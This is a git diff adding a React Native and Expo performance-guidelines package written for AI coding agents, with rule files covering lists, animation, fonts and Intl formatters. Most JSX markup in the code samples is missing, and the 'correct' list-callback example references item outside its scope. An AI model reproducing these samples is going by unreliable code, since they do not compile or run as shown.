Intl.RelativeTimeFormat('en-US', { + numeric: 'auto', +}) +``` + +Creating `Intl` objects is significantly more expensive than `RegExp` or plain + +objects—each instantiation parses locale data and builds internal lookup tables. + +--- + +## 14. Fonts + +**Impact: LOW** + +Native font loading for improved performance. + +### 14.1 Load fonts natively at build time + +**Impact: LOW (fonts available at launch, no async loading)** + +Use the `expo-font` config plugin to embed fonts at build time instead of + +`useFonts` or `Font.loadAsync`. Embedded fonts are more efficient. + +[Expo Font Documentation](https://docs.expo.dev/versions/latest/sdk/font/) + +**Incorrect: async font loading** + +```tsx +import { useFonts } from 'expo-font' +import { Text, View } from 'react-native' + +function App() { + const [fontsLoaded] = useFonts({ + 'Geist-Bold': require('./assets/fonts/Geist-Bold.otf'), + }) + + if (!fontsLoaded) { + return null + } + + return ( + + Hello + + ) +} +``` + +**Correct: config plugin, fonts embedded at build** + +```tsx +import { Text, View } from 'react-native' + +function App() { + // No loading state needed—font is already available + return ( + + Hello + + ) +} +``` + +After adding fonts to the config plugin, run `npx expo prebuild` and rebuild the + +native app. + +--- + +## References + +1. [https://react.dev](https://react.dev) +2. [https://reactnative.dev](https://reactnative.dev) +3. [https://docs.swmansion.com/react-native-reanimated](https://docs.swmansion.com/react-native-reanimated) +4. [https://docs.swmansion.com/react-native-gesture-handler](https://docs.swmansion.com/react-native-gesture-handler) +5. [https://docs.expo.dev](https://docs.expo.dev) +6. [https://legendapp.com/open-source/legend-list](https://legendapp.com/open-source/legend-list) +7. [https://github.com/nandorojo/galeria](https://github.com/nandorojo/galeria) +8. [https://zeego.dev](https://zeego.dev) diff --git a/skills/react-native-skills/README.md b/skills/react-native-skills/README.md new file mode 100644 index 0000000000000000000000000000000000000000..854db9f525c3427060b4ecefd266f00beca94eac --- /dev/null +++ b/skills/react-native-skills/README.md @@ -0,0 +1,165 @@ +# React Native Guidelines + +A structured repository for creating and maintaining React Native Best Practices +optimized for agents and LLMs. + +## Structure + +- `rules/` - Individual rule files (one per rule) + - `_sections.md` - Section metadata (titles, impacts, descriptions) + - `_template.md` - Template for creating new rules + - `area-description.md` - Individual rule files +- `metadata.json` - Document metadata (version, organization, abstract) +- **`AGENTS.md`** - Compiled output (generated) + +## Rules + +### Core Rendering (CRITICAL) + +- `rendering-text-in-text-component.md` - Wrap strings in Text components +- `rendering-no-falsy-and.md` - Avoid falsy && operator in JSX + +### List Performance (HIGH) + +- `list-performance-virtualize.md` - Use virtualized lists (LegendList, + FlashList) +- `list-performance-function-references.md` - Keep stable object references +- `list-performance-callbacks.md` - Hoist callbacks to list root +- `list-performance-inline-objects.md` - Avoid inline objects in renderItem +- `list-performance-item-memo.md` - Pass primitives for memoization +- `list-performance-item-expensive.md` - Keep list items lightweight +- `list-performance-images.md` - Use compressed images in lists +- `list-performance-item-types.md` - Use item types for heterogeneous lists + +### Animation (HIGH) + +- `animation-gpu-properties.md` - Animate transform/opacity instead of layout +- `animation-gesture-detector-press.md` - Use GestureDetector for press + animations +- `animation-derived-value.md` - Prefer useDerivedValue over useAnimatedReaction + +### Scroll Performance (HIGH) + +- `scroll-position-no-state.md` - Never track scroll in useState + +### Navigation (HIGH) + +- `navigation-native-navigators.md` - Use native stack and native tabs + +### React State (MEDIUM) + +- `react-state-dispatcher.md` - Use functional setState updates +- `react-state-fallback.md` - State should represent user intent only +- `react-state-minimize.md` - Minimize state variables, derive values + +### State Architecture (MEDIUM) + +- `state-ground-truth.md` - State must represent ground truth + +### React Compiler (MEDIUM) + +- `react-compiler-destructure-functions.md` - Destructure functions early +- `react-compiler-reanimated-shared-values.md` - Use .get()/.set() for shared + values + +### User Interface (MEDIUM) + +- `ui-expo-image.md` - Use expo-image for optimized images +- `ui-image-gallery.md` - Use Galeria for lightbox/galleries +- `ui-menus.md` - Native dropdown and context menus with Zeego +- `ui-native-modals.md` - Use native Modal with formSheet +- `ui-pressable.md` - Use Pressable instead of TouchableOpacity +- `ui-measure-views.md` - Measuring view dimensions +- `ui-safe-area-scroll.md` - Use contentInsetAdjustmentBehavior +- `ui-scrollview-content-inset.md` - Use contentInset for dynamic spacing +- `ui-styling.md` - Modern styling patterns (gap, boxShadow, gradients) + +### Design System (MEDIUM) + +- `design-system-compound-components.md` - Use compound components + +### Monorepo (LOW) + +- `monorepo-native-deps-in-app.md` - Install native deps in app directory +- `monorepo-single-dependency-versions.md` - Single dependency versions + +### Third-Party Dependencies (LOW) + +- `imports-design-system-folder.md` - Import from design system folder + +### JavaScript (LOW) + +- `js-hoist-intl.md` - Hoist Intl formatter creation + +### Fonts (LOW) + +- `fonts-config-plugin.md` - Load fonts natively at build time + +## Creating a New Rule + +1. Copy `rules/_template.md` to `rules/area-description.md` +2. Choose the appropriate area prefix: + - `rendering-` for Core Rendering + - `list-performance-` for List Performance + - `animation-` for Animation + - `scroll-` for Scroll Performance + - `navigation-` for Navigation + - `react-state-` for React State + - `state-` for State Architecture + - `react-compiler-` for React Compiler + - `ui-` for User Interface + - `design-system-` for Design System + - `monorepo-` for Monorepo + - `imports-` for Third-Party Dependencies + - `js-` for JavaScript + - `fonts-` for Fonts +3. Fill in the frontmatter and content +4. Ensure you have clear examples with explanations + +## Rule File Structure + +Each rule file should follow this structure: + +````markdown +--- +title: Rule Title Here +impact: MEDIUM +impactDescription: Optional description +tags: tag1, tag2, tag3 +--- + +## Rule Title Here + +Brief explanation of the rule and why it matters. + +**Incorrect (description of what's wrong):** + +```tsx +// Bad code example +``` +```` + +**Correct (description of what's right):** + +```tsx +// Good code example +``` + +Reference: [Link](https://example.com) + +``` + +## File Naming Convention + +- Files starting with `_` are special (excluded from build) +- Rule files: `area-description.md` (e.g., `animation-gpu-properties.md`) +- Section is automatically inferred from filename prefix +- Rules are sorted alphabetically by title within each section + +## Impact Levels + +- `CRITICAL` - Highest priority, causes crashes or broken UI +- `HIGH` - Significant performance improvements +- `MEDIUM` - Moderate performance improvements +- `LOW` - Incremental improvements +``` diff --git a/skills/react-native-skills/SKILL.md b/skills/react-native-skills/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..73401865dd7440a43c5243b107a3763e0d2f4aae --- /dev/null +++ b/skills/react-native-skills/SKILL.md @@ -0,0 +1,121 @@ +--- +name: vercel-react-native-skills +description: + React Native and Expo best practices for building performant mobile apps. Use + when building React Native components, optimizing list performance, + implementing animations, or working with native modules. Triggers on tasks + involving React Native, Expo, mobile performance, or native platform APIs. +license: MIT +metadata: + author: vercel + version: '1.0.0' +--- + +# React Native Skills + +Comprehensive best practices for React Native and Expo applications. Contains +rules across multiple categories covering performance, animations, UI patterns, +and platform-specific optimizations. + +## When to Apply + +Reference these guidelines when: + +- Building React Native or Expo apps +- Optimizing list and scroll performance +- Implementing animations with Reanimated +- Working with images and media +- Configuring native modules or fonts +- Structuring monorepo projects with native dependencies + +## Rule Categories by Priority + +| Priority | Category | Impact | Prefix | +| -------- | ---------------- | -------- | -------------------- | +| 1 | List Performance | CRITICAL | `list-performance-` | +| 2 | Animation | HIGH | `animation-` | +| 3 | Navigation | HIGH | `navigation-` | +| 4 | UI Patterns | HIGH | `ui-` | +| 5 | State Management | MEDIUM | `react-state-` | +| 6 | Rendering | MEDIUM | `rendering-` | +| 7 | Monorepo | MEDIUM | `monorepo-` | +| 8 | Configuration | LOW | `fonts-`, `imports-` | + +## Quick Reference + +### 1. List Performance (CRITICAL) + +- `list-performance-virtualize` - Use FlashList for large lists +- `list-performance-item-memo` - Memoize list item components +- `list-performance-callbacks` - Stabilize callback references +- `list-performance-inline-objects` - Avoid inline style objects +- `list-performance-function-references` - Extract functions outside render +- `list-performance-images` - Optimize images in lists +- `list-performance-item-expensive` - Move expensive work outside items +- `list-performance-item-types` - Use item types for heterogeneous lists + +### 2. Animation (HIGH) + +- `animation-gpu-properties` - Animate only transform and opacity +- `animation-derived-value` - Use useDerivedValue for computed animations +- `animation-gesture-detector-press` - Use Gesture.Tap instead of Pressable + +### 3. Navigation (HIGH) + +- `navigation-native-navigators` - Use native stack and native tabs over JS navigators + +### 4. UI Patterns (HIGH) + +- `ui-expo-image` - Use expo-image for all images +- `ui-image-gallery` - Use Galeria for image lightboxes +- `ui-pressable` - Use Pressable over TouchableOpacity +- `ui-safe-area-scroll` - Handle safe areas in ScrollViews +- `ui-scrollview-content-inset` - Use contentInset for headers +- `ui-menus` - Use native context menus +- `ui-native-modals` - Use native modals when possible +- `ui-measure-views` - Use onLayout, not measure() +- `ui-styling` - Use StyleSheet.create or Nativewind + +### 5. State Management (MEDIUM) + +- `react-state-minimize` - Minimize state subscriptions +- `react-state-dispatcher` - Use dispatcher pattern for callbacks +- `react-state-fallback` - Show fallback on first render +- `react-compiler-destructure-functions` - Destructure for React Compiler +- `react-compiler-reanimated-shared-values` - Handle shared values with compiler + +### 6. Rendering (MEDIUM) + +- `rendering-text-in-text-component` - Wrap text in Text components +- `rendering-no-falsy-and` - Avoid falsy && for conditional rendering + +### 7. Monorepo (MEDIUM) + +- `monorepo-native-deps-in-app` - Keep native dependencies in app package +- `monorepo-single-dependency-versions` - Use single versions across packages + +### 8. Configuration (LOW) + +- `fonts-config-plugin` - Use config plugins for custom fonts +- `imports-design-system-folder` - Organize design system imports +- `js-hoist-intl` - Hoist Intl object creation + +## How to Use + +Read individual rule files for detailed explanations and code examples: + +``` +rules/list-performance-virtualize.md +rules/animation-gpu-properties.md +``` + +Each rule file contains: + +- Brief explanation of why it matters +- Incorrect code example with explanation +- Correct code example with explanation +- Additional context and references + +## Full Compiled Document + +For the complete guide with all rules expanded: `AGENTS.md` diff --git a/skills/react-native-skills/metadata.json b/skills/react-native-skills/metadata.json new file mode 100644 index 0000000000000000000000000000000000000000..600eb5bc73d42a337a1d7aa3a59c654fee7b3278 --- /dev/null +++ b/skills/react-native-skills/metadata.json @@ -0,0 +1,16 @@ +{ + "version": "1.0.0", + "organization": "Engineering", + "date": "January 2026", + "abstract": "Comprehensive performance optimization guide for React Native applications, designed for AI agents and LLMs. Contains 35+ rules across 13 categories, prioritized by impact from critical (core rendering, list performance) to incremental (fonts, imports). Each rule includes detailed explanations, real-world examples comparing incorrect vs. correct implementations, and specific impact metrics to guide automated refactoring and code generation.", + "references": [ + "https://react.dev", + "https://reactnative.dev", + "https://docs.swmansion.com/react-native-reanimated", + "https://docs.swmansion.com/react-native-gesture-handler", + "https://docs.expo.dev", + "https://legendapp.com/open-source/legend-list", + "https://github.com/nandorojo/galeria", + "https://zeego.dev" + ] +} diff --git a/skills/react-native-skills/rules/_sections.md b/skills/react-native-skills/rules/_sections.md new file mode 100644 index 0000000000000000000000000000000000000000..0519cf2325eec35f2f56611204d9ee35aa2a9782 --- /dev/null +++ b/skills/react-native-skills/rules/_sections.md @@ -0,0 +1,86 @@ +# Sections + +This file defines all sections, their ordering, impact levels, and descriptions. +The section ID (in parentheses) is the filename prefix used to group rules. + +--- + +## 1. Core Rendering (rendering) + +**Impact:** CRITICAL +**Description:** Fundamental React Native rendering rules. Violations cause +runtime crashes or broken UI. + +## 2. List Performance (list-performance) + +**Impact:** HIGH +**Description:** Optimizing virtualized lists (FlatList, LegendList, FlashList) +for smooth scrolling and fast updates. + +## 3. Animation (animation) + +**Impact:** HIGH +**Description:** GPU-accelerated animations, Reanimated patterns, and avoiding +render thrashing during gestures. + +## 4. Scroll Performance (scroll) + +**Impact:** HIGH +**Description:** Tracking scroll position without causing render thrashing. + +## 5. Navigation (navigation) + +**Impact:** HIGH +**Description:** Using native navigators for stack and tab navigation instead of +JS-based alternatives. + +## 6. React State (react-state) + +**Impact:** MEDIUM +**Description:** Patterns for managing React state to avoid stale closures and +unnecessary re-renders. + +## 7. State Architecture (state) + +**Impact:** MEDIUM +**Description:** Ground truth principles for state variables and derived values. + +## 8. React Compiler (react-compiler) + +**Impact:** MEDIUM +**Description:** Compatibility patterns for React Compiler with React Native and +Reanimated. + +## 9. User Interface (ui) + +**Impact:** MEDIUM +**Description:** Native UI patterns for images, menus, modals, styling, and +platform-consistent interfaces. + +## 10. Design System (design-system) + +**Impact:** MEDIUM +**Description:** Architecture patterns for building maintainable component +libraries. + +## 11. Monorepo (monorepo) + +**Impact:** LOW +**Description:** Dependency management and native module configuration in +monorepos. + +## 12. Third-Party Dependencies (imports) + +**Impact:** LOW +**Description:** Wrapping and re-exporting third-party dependencies for +maintainability. + +## 13. JavaScript (js) + +**Impact:** LOW +**Description:** Micro-optimizations like hoisting expensive object creation. + +## 14. Fonts (fonts) + +**Impact:** LOW +**Description:** Native font loading for improved performance. diff --git a/skills/react-native-skills/rules/_template.md b/skills/react-native-skills/rules/_template.md new file mode 100644 index 0000000000000000000000000000000000000000..1e9e70703485021e0b969f5731f38c8b9f8694db --- /dev/null +++ b/skills/react-native-skills/rules/_template.md @@ -0,0 +1,28 @@ +--- +title: Rule Title Here +impact: MEDIUM +impactDescription: Optional description of impact (e.g., "20-50% improvement") +tags: tag1, tag2 +--- + +## Rule Title Here + +**Impact: MEDIUM (optional impact description)** + +Brief explanation of the rule and why it matters. This should be clear and concise, explaining the performance implications. + +**Incorrect (description of what's wrong):** + +```typescript +// Bad code example here +const bad = example() +``` + +**Correct (description of what's right):** + +```typescript +// Good code example here +const good = example() +``` + +Reference: [Link to documentation or resource](https://example.com) diff --git a/skills/react-native-skills/rules/animation-derived-value.md b/skills/react-native-skills/rules/animation-derived-value.md new file mode 100644 index 0000000000000000000000000000000000000000..310928a957b841fc5af335e984a4df6c1a6b3f3a --- /dev/null +++ b/skills/react-native-skills/rules/animation-derived-value.md @@ -0,0 +1,53 @@ +--- +title: Prefer useDerivedValue Over useAnimatedReaction +impact: MEDIUM +impactDescription: cleaner code, automatic dependency tracking +tags: animation, reanimated, derived-value +--- + +## Prefer useDerivedValue Over useAnimatedReaction + +When deriving a shared value from another, use `useDerivedValue` instead of +`useAnimatedReaction`. Derived values are declarative, automatically track +dependencies, and return a value you can use directly. Animated reactions are +for side effects, not derivations. + +**Incorrect (useAnimatedReaction for derivation):** + +```tsx +import { useSharedValue, useAnimatedReaction } from 'react-native-reanimated' + +function MyComponent() { + const progress = useSharedValue(0) + const opacity = useSharedValue(1) + + useAnimatedReaction( + () => progress.value, + (current) => { + opacity.value = 1 - current + } + ) + + // ... +} +``` + +**Correct (useDerivedValue):** + +```tsx +import { useSharedValue, useDerivedValue } from 'react-native-reanimated' + +function MyComponent() { + const progress = useSharedValue(0) + + const opacity = useDerivedValue(() => 1 - progress.get()) + + // ... +} +``` + +Use `useAnimatedReaction` only for side effects that don't produce a value +(e.g., triggering haptics, logging, calling `runOnJS`). + +Reference: +[Reanimated useDerivedValue](https://docs.swmansion.com/react-native-reanimated/docs/core/useDerivedValue) diff --git a/skills/react-native-skills/rules/animation-gesture-detector-press.md b/skills/react-native-skills/rules/animation-gesture-detector-press.md new file mode 100644 index 0000000000000000000000000000000000000000..87c67827054bbb0a41d7e4ad78adf3612accb6bf --- /dev/null +++ b/skills/react-native-skills/rules/animation-gesture-detector-press.md @@ -0,0 +1,95 @@ +--- +title: Use GestureDetector for Animated Press States +impact: MEDIUM +impactDescription: UI thread animations, smoother press feedback +tags: animation, gestures, press, reanimated +--- + +## Use GestureDetector for Animated Press States + +For animated press states (scale, opacity on press), use `GestureDetector` with +`Gesture.Tap()` and shared values instead of Pressable's +`onPressIn`/`onPressOut`. Gesture callbacks run on the UI thread as worklets—no +JS thread round-trip for press animations. + +**Incorrect (Pressable with JS thread callbacks):** + +```tsx +import { Pressable } from 'react-native' +import Animated, { + useSharedValue, + useAnimatedStyle, + withTiming, +} from 'react-native-reanimated' + +function AnimatedButton({ onPress }: { onPress: () => void }) { + const scale = useSharedValue(1) + + const animatedStyle = useAnimatedStyle(() => ({ + transform: [{ scale: scale.value }], + })) + + return ( + (scale.value = withTiming(0.95))} + onPressOut={() => (scale.value = withTiming(1))} + > + + Press me + + + ) +} +``` + +**Correct (GestureDetector with UI thread worklets):** + +```tsx +import { Gesture, GestureDetector } from 'react-native-gesture-handler' +import Animated, { + useSharedValue, + useAnimatedStyle, + withTiming, + interpolate, + runOnJS, +} from 'react-native-reanimated' + +function AnimatedButton({ onPress }: { onPress: () => void }) { + // Store the press STATE (0 = not pressed, 1 = pressed) + const pressed = useSharedValue(0) + + const tap = Gesture.Tap() + .onBegin(() => { + pressed.set(withTiming(1)) + }) + .onFinalize(() => { + pressed.set(withTiming(0)) + }) + .onEnd(() => { + runOnJS(onPress)() + }) + + // Derive visual values from the state + const animatedStyle = useAnimatedStyle(() => ({ + transform: [ + { scale: interpolate(withTiming(pressed.get()), [0, 1], [1, 0.95]) }, + ], + })) + + return ( + + + Press me + + + ) +} +``` + +Store the press **state** (0 or 1), then derive the scale via `interpolate`. +This keeps the shared value as ground truth. Use `runOnJS` to call JS functions +from worklets. Use `.set()` and `.get()` for React Compiler compatibility. + +Reference: +[Gesture Handler Tap Gesture](https://docs.swmansion.com/react-native-gesture-handler/docs/gestures/tap-gesture) diff --git a/skills/react-native-skills/rules/animation-gpu-properties.md b/skills/react-native-skills/rules/animation-gpu-properties.md new file mode 100644 index 0000000000000000000000000000000000000000..5fda09558e89b2d6021bbbe5a2731fd26d16b1f3 --- /dev/null +++ b/skills/react-native-skills/rules/animation-gpu-properties.md @@ -0,0 +1,65 @@ +--- +title: Animate Transform and Opacity Instead of Layout Properties +impact: HIGH +impactDescription: GPU-accelerated animations, no layout recalculation +tags: animation, performance, reanimated, transform, opacity +--- + +## Animate Transform and Opacity Instead of Layout Properties + +Avoid animating `width`, `height`, `top`, `left`, `margin`, or `padding`. These trigger layout recalculation on every frame. Instead, use `transform` (scale, translate) and `opacity` which run on the GPU without triggering layout. + +**Incorrect (animates height, triggers layout every frame):** + +```tsx +import Animated, { useAnimatedStyle, withTiming } from 'react-native-reanimated' + +function CollapsiblePanel({ expanded }: { expanded: boolean }) { + const animatedStyle = useAnimatedStyle(() => ({ + height: withTiming(expanded ? 200 : 0), // triggers layout on every frame + overflow: 'hidden', + })) + + return {children} +} +``` + +**Correct (animates scaleY, GPU-accelerated):** + +```tsx +import Animated, { useAnimatedStyle, withTiming } from 'react-native-reanimated' + +function CollapsiblePanel({ expanded }: { expanded: boolean }) { + const animatedStyle = useAnimatedStyle(() => ({ + transform: [ + { scaleY: withTiming(expanded ? 1 : 0) }, + ], + opacity: withTiming(expanded ? 1 : 0), + })) + + return ( + + {children} + + ) +} +``` + +**Correct (animates translateY for slide animations):** + +```tsx +import Animated, { useAnimatedStyle, withTiming } from 'react-native-reanimated' + +function SlideIn({ visible }: { visible: boolean }) { + const animatedStyle = useAnimatedStyle(() => ({ + transform: [ + { translateY: withTiming(visible ? 0 : 100) }, + ], + opacity: withTiming(visible ? 1 : 0), + })) + + return {children} +} +``` + +GPU-accelerated properties: `transform` (translate, scale, rotate), `opacity`. Everything else triggers layout. diff --git a/skills/react-native-skills/rules/design-system-compound-components.md b/skills/react-native-skills/rules/design-system-compound-components.md new file mode 100644 index 0000000000000000000000000000000000000000..d8239ee1fbb95d52b5b57a1d699199b1f4758e8c --- /dev/null +++ b/skills/react-native-skills/rules/design-system-compound-components.md @@ -0,0 +1,66 @@ +--- +title: Use Compound Components Over Polymorphic Children +impact: MEDIUM +impactDescription: flexible composition, clearer API +tags: design-system, components, composition +--- + +## Use Compound Components Over Polymorphic Children + +Don't create components that can accept a string if they aren't a text node. If +a component can receive a string child, it must be a dedicated `*Text` +component. For components like buttons, which can have both a View (or +Pressable) together with text, use compound components, such a `Button`, +`ButtonText`, and `ButtonIcon`. + +**Incorrect (polymorphic children):** + +```tsx +import { Pressable, Text } from 'react-native' + +type ButtonProps = { + children: string | React.ReactNode + icon?: React.ReactNode +} + +function Button({ children, icon }: ButtonProps) { + return ( + + {icon} + {typeof children === 'string' ? {children} : children} + + ) +} + +// Usage is ambiguous + + +``` + +**Correct (compound components):** + +```tsx +import { Pressable, Text } from 'react-native' + +function Button({ children }: { children: React.ReactNode }) { + return {children} +} + +function ButtonText({ children }: { children: React.ReactNode }) { + return {children} +} + +function ButtonIcon({ children }: { children: React.ReactNode }) { + return <>{children} +} + +// Usage is explicit and composable + + + +``` diff --git a/skills/react-native-skills/rules/fonts-config-plugin.md b/skills/react-native-skills/rules/fonts-config-plugin.md new file mode 100644 index 0000000000000000000000000000000000000000..39aa01477af69b372e7e6251831430da1c3203f9 --- /dev/null +++ b/skills/react-native-skills/rules/fonts-config-plugin.md @@ -0,0 +1,71 @@ +--- +title: Load fonts natively at build time +impact: LOW +impactDescription: fonts available at launch, no async loading +tags: fonts, expo, performance, config-plugin +--- + +## Use Expo Config Plugin for Font Loading + +Use the `expo-font` config plugin to embed fonts at build time instead of +`useFonts` or `Font.loadAsync`. Embedded fonts are more efficient. + +**Incorrect (async font loading):** + +```tsx +import { useFonts } from 'expo-font' +import { Text, View } from 'react-native' + +function App() { + const [fontsLoaded] = useFonts({ + 'Geist-Bold': require('./assets/fonts/Geist-Bold.otf'), + }) + + if (!fontsLoaded) { + return null + } + + return ( + + Hello + + ) +} +``` + +**Correct (config plugin, fonts embedded at build):** + +```json +// app.json +{ + "expo": { + "plugins": [ + [ + "expo-font", + { + "fonts": ["./assets/fonts/Geist-Bold.otf"] + } + ] + ] + } +} +``` + +```tsx +import { Text, View } from 'react-native' + +function App() { + // No loading state needed—font is already available + return ( + + Hello + + ) +} +``` + +After adding fonts to the config plugin, run `npx expo prebuild` and rebuild the +native app. + +Reference: +[Expo Font Documentation](https://docs.expo.dev/versions/latest/sdk/font/) diff --git a/skills/react-native-skills/rules/imports-design-system-folder.md b/skills/react-native-skills/rules/imports-design-system-folder.md new file mode 100644 index 0000000000000000000000000000000000000000..8466dcb2544dad65639d29e5921a6be00ea1ac2c --- /dev/null +++ b/skills/react-native-skills/rules/imports-design-system-folder.md @@ -0,0 +1,68 @@ +--- +title: Import from Design System Folder +impact: LOW +impactDescription: enables global changes and easy refactoring +tags: imports, architecture, design-system +--- + +## Import from Design System Folder + +Re-export dependencies from a design system folder. App code imports from there, +not directly from packages. This enables global changes and easy refactoring. + +**Incorrect (imports directly from package):** + +```tsx +import { View, Text } from 'react-native' +import { Button } from '@ui/button' + +function Profile() { + return ( + + Hello + + + ) +} +``` + +**Correct (imports from design system):** + +```tsx +// components/view.tsx +import { View as RNView } from 'react-native' + +// ideal: pick the props you will actually use to control implementation +export function View( + props: Pick, 'style' | 'children'> +) { + return +} +``` + +```tsx +// components/text.tsx +export { Text } from 'react-native' +``` + +```tsx +// components/button.tsx +export { Button } from '@ui/button' +``` + +```tsx +import { View } from '@/components/view' +import { Text } from '@/components/text' +import { Button } from '@/components/button' + +function Profile() { + return ( + + Hello + + + ) +} +``` + +Start by simply re-exporting. Customize later without changing app code. diff --git a/skills/react-native-skills/rules/js-hoist-intl.md b/skills/react-native-skills/rules/js-hoist-intl.md new file mode 100644 index 0000000000000000000000000000000000000000..9af1c354c3e5e8836883c1a79a533fa5e72d4958 --- /dev/null +++ b/skills/react-native-skills/rules/js-hoist-intl.md @@ -0,0 +1,61 @@ +--- +title: Hoist Intl Formatter Creation +impact: LOW-MEDIUM +impactDescription: avoids expensive object recreation +tags: javascript, intl, optimization, memoization +--- + +## Hoist Intl Formatter Creation + +Don't create `Intl.DateTimeFormat`, `Intl.NumberFormat`, or +`Intl.RelativeTimeFormat` inside render or loops. These are expensive to +instantiate. Hoist to module scope when the locale/options are static. + +**Incorrect (new formatter every render):** + +```tsx +function Price({ amount }: { amount: number }) { + const formatter = new Intl.NumberFormat('en-US', { + style: 'currency', + currency: 'USD', + }) + return {formatter.format(amount)} +} +``` + +**Correct (hoisted to module scope):** + +```tsx +const currencyFormatter = new Intl.NumberFormat('en-US', { + style: 'currency', + currency: 'USD', +}) + +function Price({ amount }: { amount: number }) { + return {currencyFormatter.format(amount)} +} +``` + +**For dynamic locales, memoize:** + +```tsx +const dateFormatter = useMemo( + () => new Intl.DateTimeFormat(locale, { dateStyle: 'medium' }), + [locale] +) +``` + +**Common formatters to hoist:** + +```tsx +// Module-level formatters +const dateFormatter = new Intl.DateTimeFormat('en-US', { dateStyle: 'medium' }) +const timeFormatter = new Intl.DateTimeFormat('en-US', { timeStyle: 'short' }) +const percentFormatter = new Intl.NumberFormat('en-US', { style: 'percent' }) +const relativeFormatter = new Intl.RelativeTimeFormat('en-US', { + numeric: 'auto', +}) +``` + +Creating `Intl` objects is significantly more expensive than `RegExp` or plain +objects—each instantiation parses locale data and builds internal lookup tables. diff --git a/skills/react-native-skills/rules/list-performance-callbacks.md b/skills/react-native-skills/rules/list-performance-callbacks.md new file mode 100644 index 0000000000000000000000000000000000000000..a0b3913ff3b88e92bd0a91b555f8c96732b2b953 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-callbacks.md @@ -0,0 +1,44 @@ +--- +title: Hoist callbacks to the root of lists +impact: MEDIUM +impactDescription: Fewer re-renders and faster lists +tags: tag1, tag2 +--- + +## List performance callbacks + +**Impact: HIGH (Fewer re-renders and faster lists)** + +When passing callback functions to list items, create a single instance of the +callback at the root of the list. Items should then call it with a unique +identifier. + +**Incorrect (creates a new callback on each render):** + +```typescript +return ( + { + // bad: creates a new callback on each render + const onPress = () => handlePress(item.id) + return + }} + /> +) +``` + +**Correct (a single function instance passed to each item):** + +```typescript +const onPress = useCallback(() => handlePress(item.id), [handlePress, item.id]) + +return ( + ( + + )} + /> +) +``` + +Reference: [Link to documentation or resource](https://example.com) diff --git a/skills/react-native-skills/rules/list-performance-function-references.md b/skills/react-native-skills/rules/list-performance-function-references.md new file mode 100644 index 0000000000000000000000000000000000000000..9721929b28b8115e8fa24ff8a6f82a6b1ec94d6e --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-function-references.md @@ -0,0 +1,132 @@ +--- +title: Optimize List Performance with Stable Object References +impact: CRITICAL +impactDescription: virtualization relies on reference stability +tags: lists, performance, flatlist, virtualization +--- + +## Optimize List Performance with Stable Object References + +Don't map or filter data before passing to virtualized lists. Virtualization +relies on object reference stability to know what changed—new references cause +full re-renders of all visible items. Attempt to prevent frequent renders at the +list-parent level. + +Where needed, use context selectors within list items. + +**Incorrect (creates new object references on every keystroke):** + +```tsx +function DomainSearch() { + const { keyword, setKeyword } = useKeywordZustandState() + const { data: tlds } = useTlds() + + // Bad: creates new objects on every render, reparenting the entire list on every keystroke + const domains = tlds.map((tld) => ({ + domain: `${keyword}.${tld.name}`, + tld: tld.name, + price: tld.price, + })) + + return ( + <> + + } + /> + + ) +} +``` + +**Correct (stable references, transform inside items):** + +```tsx +const renderItem = ({ item }) => + +function DomainSearch() { + const { data: tlds } = useTlds() + + return ( + + ) +} + +function DomainItem({ tld }: { tld: Tld }) { + // good: transform within items, and don't pass the dynamic data as a prop + // good: use a selector function from zustand to receive a stable string back + const domain = useKeywordZustandState((s) => s.keyword + '.' + tld.name) + return {domain} +} +``` + +**Updating parent array reference:** + +Creating a new array instance can be okay, as long as its inner object +references are stable. For instance, if you sort a list of objects: + +```tsx +// good: creates a new array instance without mutating the inner objects +// good: parent array reference is unaffected by typing and updating "keyword" +const sortedTlds = tlds.toSorted((a, b) => a.name.localeCompare(b.name)) + +return +``` + +Even though this creates a new array instance `sortedTlds`, the inner object +references are stable. + +**With zustand for dynamic data (avoids parent re-renders):** + +```tsx +const useSearchStore = create<{ keyword: string }>(() => ({ keyword: '' })) + +function DomainSearch() { + const { data: tlds } = useTlds() + + return ( + <> + + } + /> + + ) +} + +function DomainItem({ tld }: { tld: Tld }) { + // Select only what you need—component only re-renders when keyword changes + const keyword = useSearchStore((s) => s.keyword) + const domain = `${keyword}.${tld.name}` + return {domain} +} +``` + +Virtualization can now skip items that haven't changed when typing. Only visible +items (~20) re-render on keystroke, rather than the parent. + +**Deriving state within list items based on parent data (avoids parent +re-renders):** + +For components where the data is conditional based on the parent state, this +pattern is even more important. For example, if you are checking if an item is +favorited, toggling favorites only re-renders one component if the item itself +is in charge of accessing the state rather than the parent: + +```tsx +function DomainItemFavoriteButton({ tld }: { tld: Tld }) { + const isFavorited = useFavoritesStore((s) => s.favorites.has(tld.id)) + return +} +``` + +Note: if you're using the React Compiler, you can read React Context values +directly within list items. Although this is slightly slower than using a +Zustand selector in most cases, the effect may be negligible. diff --git a/skills/react-native-skills/rules/list-performance-images.md b/skills/react-native-skills/rules/list-performance-images.md new file mode 100644 index 0000000000000000000000000000000000000000..75a3bafc83f65e0e14af3b7cc5786ea40b0d34b4 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-images.md @@ -0,0 +1,53 @@ +--- +title: Use Compressed Images in Lists +impact: HIGH +impactDescription: faster load times, less memory +tags: lists, images, performance, optimization +--- + +## Use Compressed Images in Lists + +Always load compressed, appropriately-sized images in lists. Full-resolution +images consume excessive memory and cause scroll jank. Request thumbnails from +your server or use an image CDN with resize parameters. + +**Incorrect (full-resolution images):** + +```tsx +function ProductItem({ product }: { product: Product }) { + return ( + + {/* 4000x3000 image loaded for a 100x100 thumbnail */} + + {product.name} + + ) +} +``` + +**Correct (request appropriately-sized image):** + +```tsx +function ProductItem({ product }: { product: Product }) { + // Request a 200x200 image (2x for retina) + const thumbnailUrl = `${product.imageUrl}?w=200&h=200&fit=cover` + + return ( + + + {product.name} + + ) +} +``` + +Use an optimized image component with built-in caching and placeholder support, +such as `expo-image` or `SolitoImage` (which uses `expo-image` under the hood). +Request images at 2x the display size for retina screens. diff --git a/skills/react-native-skills/rules/list-performance-inline-objects.md b/skills/react-native-skills/rules/list-performance-inline-objects.md new file mode 100644 index 0000000000000000000000000000000000000000..d5b6514a6658917468399803b16cb61b17459af7 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-inline-objects.md @@ -0,0 +1,97 @@ +--- +title: Avoid Inline Objects in renderItem +impact: HIGH +impactDescription: prevents unnecessary re-renders of memoized list items +tags: lists, 